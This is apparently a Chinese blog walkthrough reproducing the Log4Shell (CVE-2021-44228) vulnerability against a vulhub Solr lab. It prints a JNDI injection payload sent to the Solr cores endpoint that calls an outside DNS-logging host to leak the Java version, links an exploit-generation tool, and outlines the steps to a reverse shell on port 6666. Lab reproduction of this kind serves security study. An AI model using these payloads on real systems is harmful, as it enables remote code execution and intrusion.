vulhub log4j2 CVE-2021-44228漏洞复现

1.开启环境

2.访问靶场

3.可以发现 /solr/admin/cores?action= 这⾥有个参数可以传,先构造⼀个请求传过去存在JNDI注⼊那么ldap服务端会执⾏我们传上去的payload然后在DNSLOG 平台上那⾥留下记录,我们可以看到留下了访问记录并且前⾯的参数被执⾏后给我们回显了java的版本号!

可以访问到我们Java的版本,所以说明此处存在命令执行漏洞

复制代码
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.ir3n8l.dnslog.cn}

4.开始反弹shell

但是此处需要JNDI-Injection-Exploit

JNDI项目地址:

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

5.准备payload,并进行base64加密

6.将此payload复制到模版中,变为最终payload

在kali进行最终payload的运行,会获得一串有jndi生成的payload

7.监听6666端口

然后使用这条命令在log4j2中运行

8.最终会在监听处反弹回shell

相关推荐
代码漫谈14 小时前
Spring Boot日志配置全攻略:打造高效、可靠的日志系统
java·spring boot·log4j·日志
ideal-cs14 小时前
总结:生产环境Logback日志配置模板与pattern格式案例
java·log4j·logback·pattern·后端日志
学习论之费曼学习法2 天前
Agent评估与测试:如何确保AI系统的可靠性
人工智能·log4j
北风toto2 天前
log4j中文日志乱码问号-Linux启动jar包,输出中文日志变成问号?
linux·log4j·jar
ppandss14 天前
JavaWeb从0到1-DAY5.1-Maven-JUnit
junit·log4j·maven
0和1的搬运工4 天前
基于Java+SpringBoot+Vue+HTML5高校教师电子名片系统(源码+LW+调试文档+讲解等)/高校教师/电子名片/系统/教育科技/教育信息化/名片管理/电子身份/教师信息管理/校园信息化
spring cloud·tomcat·log4j·maven·intellij-idea·dubbo·java-consul
铁皮哥4 天前
【后端开发】@Resource 和 @Autowired 到底有什么区别?为什么现在更推荐构造方法注入?
java·ide·spring boot·tomcat·log4j·idea·intellij idea
张小洛7 天前
Spring 常用类深度剖析(工具篇 05):Assert:用断言代替 if-throw,代码更清爽
spring·log4j·参数校验·validate·assert·spring 常用类·代码简化
薛定猫AI7 天前
【深度解析】DeepSeek V4 + Cloud Code:构建低成本、高吞吐的混合 AI 编码工作流
人工智能·log4j
卷卷说风控8 天前
【卷卷观察】Claude Code 换脑子:DeepSeek V4 Pro 让你的 AI 编程便宜17倍
log4j